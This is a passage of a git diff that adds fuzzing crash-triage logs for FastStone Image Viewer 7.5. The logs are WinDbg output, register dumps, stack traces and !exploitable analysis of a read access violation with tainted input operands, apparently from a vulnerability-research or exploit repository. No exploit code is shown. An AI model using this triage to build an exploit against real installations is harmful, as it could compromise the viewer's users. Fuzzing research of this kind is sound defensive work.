+xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.09744e+007 -3.51777e+023 4.56823e-017 2.51762e+023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028c000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028c000 dcbeb28a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028c000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..6f7fa56 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1534: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1534: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1534.1f88): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07eb7b10 edx=00003879 esi=12768f40 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.09744e+007 -3.51777e+023 4.56823e-017 2.51762e+023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028c000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028c000 dcbeb28a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028c000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..138713c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47003/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c26ec41 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..7992fbb --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/47308/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1234: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1234: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1234.167c): Access violation - code c0000005 (first chance) +r +*** WARNING: 